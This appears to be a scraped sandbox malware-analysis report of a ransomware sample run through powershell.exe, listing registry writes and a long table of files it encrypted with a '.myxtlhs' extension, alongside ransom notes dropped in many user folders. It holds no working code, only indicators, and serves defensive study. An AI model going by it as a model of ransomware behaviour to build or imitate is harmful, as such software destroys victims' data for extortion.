3830DC50B745EE053C46028ED78DD4FACD599C7590EFE8E1F05B3AC85CE5B374DBD16CD971ABAEC7BFCA5566752033DC468C3DE133FC9152D68C64174F7260220DFD3619BFE92FC29E3098B1076D6BAC49F937DD95E6777D6CB6F1D3032C98E2B7419A9459A0603773B2C005B43B82CC76655EC173B90D1020906A63355AB388A7D8F6475DABB275C3AD6157C2F8E8B0EADE210361F9FDBB2EFF459C00DF35E8179D093DD91F24914B3727B5E593831D01D12F078942303BE11D970CB17CF2769AF9F7A9479884DA05479D68B11D6C2B3DF49CBED05558BBFA8F0ED5524CB465BB9EE3FD551AFBE940D4C7CD3B38C8441B1364F9FFF0B8C4C27ADCC11E303C56D5A16B28A5DA2C0D9A6CAA553FF46676F4F3E2AE44E16F2DE398D194F81E606DACAA64CED3D9F8DDBE96A7CE82E7D98616562859B01EE66D4288A79B2F46E3ACA8B48969EE775B891A3642DED981AAD4D353CF2AA46825951B0F593EE289F1C86741078F06111EADF66B06E296D6017766C32587B0EE3959232C5DAAC16D78E215AFD9CA3EBC54383A20F9D24DEA9B9DF483341A1137D20A134EC414E0F69270B9FB3801786F14BC1D8F0319D90C554AC561C897C645A7B0725B556B7696B6A231C46D020A0AFEB0DBA8034E606C823065CF21EC7AA84976DAFD7C806EBCDFEFA1100C46A3AFF14F6B22C86CD476C4F5EDAF7DB25F62E6AED01BD51DFCA7169272E1D198D856321802E9571A712BC8A44AFFAAC39F78A1608F2FF968B2F0B94B17B0C792B2EA9FEE57C7F4C676DEA76CFF773970546E7355BB70B9119D043A07723621D27825E41BE129168A9B13236F47752F504583D312A956472C039775988A50F517C170
1684
powershell.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet
0
1684
powershell.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect
1
1684
powershell.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
ProxyEnable
0
1684
powershell.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
SavedLegacySettings
4600000069000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000

Files activity

Executable files
0
Suspicious files
284
Text files
217
Unknown types
11

Dropped files

PID Process Filename Type
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.bristol-adelboden[2].txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.bristol-adelboden[1].txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.arbezie[2].txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.arbezie[1].txt ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.arbezie-hotel[1].txt text
1684 powershell.exe C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 binary
1684 powershell.exe C:\Users\admin\AppData\Local\Temp\Tar978F.tmp ––
1684 powershell.exe C:\Users\admin\AppData\Local\Temp\Cab978E.tmp ––
1684 powershell.exe C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 compressed
1684 powershell.exe C:\Users\admin\AppData\Local\Temp\Cab96B1.tmp ––
1684 powershell.exe C:\Users\admin\AppData\Local\Temp\Tar96B2.tmp ––
1684 powershell.exe C:\Users\admin\AppData\Local\Temp\Tar9681.tmp ––
1684 powershell.exe C:\Users\admin\AppData\Local\Temp\Cab9680.tmp ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.morcote-residenza[1].txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@belvedere-locarno[1].txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.pizcam[1].txt text
1684 powershell.exe C:\Users\admin\AppData\Local\Temp\pidor.bmp image
1684 powershell.exe C:\Users\Public\Videos\Sample Videos\Wildlife.wmv ––
1684 powershell.exe C:\Users\Public\Videos\Sample Videos\Wildlife.wmv.myxtlhs ––
1684 powershell.exe C:\Users\Public\Videos\Sample Videos\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\Public\Recorded TV\Sample Media\win7_scenic-demoshort_raw.wtv.myxtlhs ––
1684 powershell.exe C:\Users\Public\Recorded TV\Sample Media\win7_scenic-demoshort_raw.wtv ––
1684 powershell.exe C:\Users\Public\Recorded TV\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\Public\Recorded TV\Sample Media\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg.myxtlhs binary
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg ––
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg.myxtlhs binary
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg ––
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Koala.jpg.myxtlhs binary
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg.myxtlhs pgc
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg ––
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Koala.jpg ––
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg.myxtlhs binary
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg ––
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg.myxtlhs binary
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg ––
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Desert.jpg.myxtlhs binary
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Desert.jpg ––
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg.myxtlhs binary
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg ––
1684 powershell.exe C:\Users\Public\Pictures\Sample Pictures\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\Public\Music\Sample Music\Sleep Away.mp3.myxtlhs ––
1684 powershell.exe C:\Users\Public\Music\Sample Music\Sleep Away.mp3 ––
1684 powershell.exe C:\Users\Public\Music\Sample Music\Maid with the Flaxen Hair.mp3.myxtlhs binary
1684 powershell.exe C:\Users\Public\Music\Sample Music\Maid with the Flaxen Hair.mp3 ––
1684 powershell.exe C:\Users\Public\Music\Sample Music\Kalimba.mp3 ––
1684 powershell.exe C:\Users\Public\Music\Sample Music\Kalimba.mp3.myxtlhs ––
1684 powershell.exe C:\Users\Public\Music\Sample Music\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\Public\Libraries\RecordedTV.library-ms.myxtlhs binary
1684 powershell.exe C:\Users\Public\Libraries\RecordedTV.library-ms ––
1684 powershell.exe C:\Users\Public\Pictures\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\Public\Libraries\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\Public\Favorites\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\Public\Downloads\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\Public\Videos\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\Public\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\Public\Music\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\Public\Documents\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\SendTo\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Searches\Microsoft Outlook.searchconnector-ms.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Templates\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Searches\Microsoft Outlook.searchconnector-ms ––
1684 powershell.exe C:\Users\admin\Searches\Microsoft OneNote.searchconnector-ms.myxtlhs binary
1684 powershell.exe C:\Users\admin\Searches\Microsoft OneNote.searchconnector-ms ––
1684 powershell.exe C:\Users\admin\Searches\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Saved Games\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Pictures\workpc.png.myxtlhs binary
1684 powershell.exe C:\Users\admin\Pictures\workpc.png ––
1684 powershell.exe C:\Users\admin\Pictures\favoritecontact.png.myxtlhs binary
1684 powershell.exe C:\Users\admin\Pictures\favoritecontact.png ––
1684 powershell.exe C:\Users\admin\Pictures\annualringtones.png.myxtlhs binary
1684 powershell.exe C:\Users\admin\Pictures\annualringtones.png ––
1684 powershell.exe C:\Users\admin\ntuser.ini.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Spaces.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Links\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\ntuser.ini ––
1684 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Mail.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Spaces.url ––
1684 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Gallery.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Mail.url ––
1684 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Gallery.url ––
1684 powershell.exe C:\Users\admin\Favorites\Windows Live\Get Windows Live.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\Windows Live\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSNBC News.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\Windows Live\Get Windows Live.url ––
1684 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSNBC News.url ––
1684 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Sports.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Money.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Sports.url ––
1684 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Money.url ––
1684 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN.url ––
1684 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Entertainment.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\MSN Websites\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Autos.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Autos.url ––
1684 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Entertainment.url ––
1684 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Work.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft Store.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Home.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Home.url ––
1684 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft Store.url ––
1684 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Work.url ––
1684 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\IE Add-on site.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\IE site on Microsoft.com.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\IE site on Microsoft.com.url ––
1684 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\IE Add-on site.url ––
1684 powershell.exe C:\Users\admin\Favorites\Links for United States\GobiernoUSA.gov.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\Links\Web Slice Gallery.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\Links for United States\USA.gov.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\Links for United States\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Favorites\Links for United States\GobiernoUSA.gov.url ––
1684 powershell.exe C:\Users\admin\Favorites\Links for United States\USA.gov.url ––
1684 powershell.exe C:\Users\admin\Favorites\Links\Suggested Sites.url.myxtlhs binary
1684 powershell.exe C:\Users\admin\Favorites\Links\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Favorites\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Downloads\wewatches.png.myxtlhs binary
1684 powershell.exe C:\Users\admin\Downloads\wewatches.png ––
1684 powershell.exe C:\Users\admin\Favorites\Links\Web Slice Gallery.url ––
1684 powershell.exe C:\Users\admin\Favorites\Links\Suggested Sites.url ––
1684 powershell.exe C:\Users\admin\Downloads\treatmentclient.png.myxtlhs gpg
1684 powershell.exe C:\Users\admin\Downloads\pcschools.png.myxtlhs binary
1684 powershell.exe C:\Users\admin\Downloads\madevisual.png.myxtlhs binary
1684 powershell.exe C:\Users\admin\Downloads\pcschools.png ––
1684 powershell.exe C:\Users\admin\Downloads\treatmentclient.png ––
1684 powershell.exe C:\Users\admin\Downloads\caending.jpg.myxtlhs binary
1684 powershell.exe C:\Users\admin\Downloads\countriesseason.png.myxtlhs binary
1684 powershell.exe C:\Users\admin\Downloads\countriesseason.png ––
1684 powershell.exe C:\Users\admin\Downloads\caending.jpg ––
1684 powershell.exe C:\Users\admin\Downloads\madevisual.png ––
1684 powershell.exe C:\Users\admin\Documents\texasalready.rtf.myxtlhs binary
1684 powershell.exe C:\Users\admin\Downloads\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Documents\thinkfields.rtf.myxtlhs binary
1684 powershell.exe C:\Users\admin\Documents\texasalready.rtf ––
1684 powershell.exe C:\Users\admin\Documents\thinkfields.rtf ––
1684 powershell.exe C:\Users\admin\Documents\packagesdistrict.rtf.myxtlhs binary
1684 powershell.exe C:\Users\admin\Documents\summarystaff.rtf.myxtlhs binary
1684 powershell.exe C:\Users\admin\Documents\passwordpoint.rtf.myxtlhs binary
1684 powershell.exe C:\Users\admin\Documents\passwordpoint.rtf ––
1684 powershell.exe C:\Users\admin\Documents\packagesdistrict.rtf ––
1684 powershell.exe C:\Users\admin\Documents\summarystaff.rtf ––
1684 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook.pst.myxtlhs binary
1684 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook.pst ––
1684 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - test.pst.myxtlhs binary
1684 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - NoMail.pst.myxtlhs binary
1684 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - test.pst ––
1684 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - NoMail.pst ––
1684 powershell.exe C:\Users\admin\Documents\Outlook Files\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Documents\Outlook Files\honey@pot.com.pst.myxtlhs binary
1684 powershell.exe C:\Users\admin\Documents\Outlook Files\honey@pot.com.pst ––
1684 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Open Notebook.onetoc2.myxtlhs binary
1684 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Unfiled Notes.one.myxtlhs binary
1684 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\General.one.myxtlhs binary
1684 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Open Notebook.onetoc2 ––
1684 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Unfiled Notes.one ––
1684 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\General.one ––
1684 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Music\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Videos\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Pictures\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Documents\majorshow.rtf.myxtlhs binary
1684 powershell.exe C:\Users\admin\Documents\majorshow.rtf ––
1684 powershell.exe C:\Users\admin\Desktop\subjectsreleases.png.myxtlhs binary
1684 powershell.exe C:\Users\admin\Documents\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Documents\fashionpurposes.rtf.myxtlhs binary
1684 powershell.exe C:\Users\admin\Desktop\thereforereported.jpg.myxtlhs binary
1684 powershell.exe C:\Users\admin\Documents\fashionpurposes.rtf ––
1684 powershell.exe C:\Users\admin\Desktop\thereforereported.jpg ––
1684 powershell.exe C:\Users\admin\Desktop\subjectsreleases.png ––
1684 powershell.exe C:\Users\admin\Desktop\softwarevol.png.myxtlhs binary
1684 powershell.exe C:\Users\admin\Desktop\sexyunder.jpg.myxtlhs binary
1684 powershell.exe C:\Users\admin\Desktop\sellerssession.rtf.myxtlhs binary
1684 powershell.exe C:\Users\admin\Desktop\subjectsaustralia.png.myxtlhs binary
1684 powershell.exe C:\Users\admin\Desktop\subjectsaustralia.png ––
1684 powershell.exe C:\Users\admin\Desktop\sexyunder.jpg ––
1684 powershell.exe C:\Users\admin\Desktop\softwarevol.png ––
1684 powershell.exe C:\Users\admin\Desktop\poweredor.rtf.myxtlhs binary
1684 powershell.exe C:\Users\admin\Desktop\logolinks.rtf.myxtlhs binary
1684 powershell.exe C:\Users\admin\Desktop\messagepeace.rtf.myxtlhs binary
1684 powershell.exe C:\Users\admin\Desktop\poweredor.rtf ––
1684 powershell.exe C:\Users\admin\Desktop\logolinks.rtf ––
1684 powershell.exe C:\Users\admin\Desktop\sellerssession.rtf ––
1684 powershell.exe C:\Users\admin\Desktop\messagepeace.rtf ––
1684 powershell.exe C:\Users\admin\Desktop\fundsstaff.rtf.myxtlhs binary
1684 powershell.exe C:\Users\admin\Desktop\donesales.png.myxtlhs binary
1684 powershell.exe C:\Users\admin\Desktop\fundsstaff.rtf ––
1684 powershell.exe C:\Users\admin\Desktop\donesales.png ––
1684 powershell.exe C:\Users\admin\Desktop\difficultworks.rtf.myxtlhs binary
1684 powershell.exe C:\Users\admin\Desktop\difficultworks.rtf ––
1684 powershell.exe C:\Users\admin\Desktop\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\Desktop\answerolder.jpg.myxtlhs binary
1684 powershell.exe C:\Users\admin\Desktop\answerolder.jpg ––
1684 powershell.exe C:\Users\admin\Contacts\admin.contact.myxtlhs binary
1684 powershell.exe C:\Users\admin\Contacts\admin.contact ––
1684 powershell.exe C:\Users\admin\Contacts\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Sun\Java\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\WinRAR\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\WinRAR\version.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Sun\Java\Deployment\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\WinRAR\version.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Sun\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\skypert.conf.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ul.conf.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\skypert.conf ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ul.conf ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ecs.conf.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ecs.conf ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_httpfe\queue.db.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_httpfe\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_httpfe\queue.db ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db-journal.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db-journal ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\DataRv\offline-storage.data.myxtlhs gpg
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\logs\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\DataRv\offline-storage.data ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\DataRv\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Skype\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\webserver\users.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\webserver\users.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\webserver\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\typed_history.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\wand.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\vlink4.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\wand.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\vlink4.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\typed_history.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\toc.css.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tips.ini.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tasks.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tasks.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tips.ini ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structuretables.css.myxtlhs bc
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureinline.css.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\tablelayout.css.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureinline.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structuretables.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\tablelayout.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\toc.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureblock.css.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\outline.css.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disabletables.css.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureblock.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\outline.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disabletables.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disableforms.css.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablepositioning.css.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablepositioning.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disableforms.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablefloats.css.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablefloats.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablebreaks.css.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablebreaks.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastwb.css.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastwb.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastbw.css.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastbw.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\classid.css.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\classid.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\altdebugger.css.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\altdebugger.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\accessibility.css.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\accessibility.css ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\speeddial.ini.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\speeddial.ini ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win.bak.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win.bak ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opuntrust.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opuntrust.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\optrust.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\optrust.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opthumb.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opthumb.dat ––
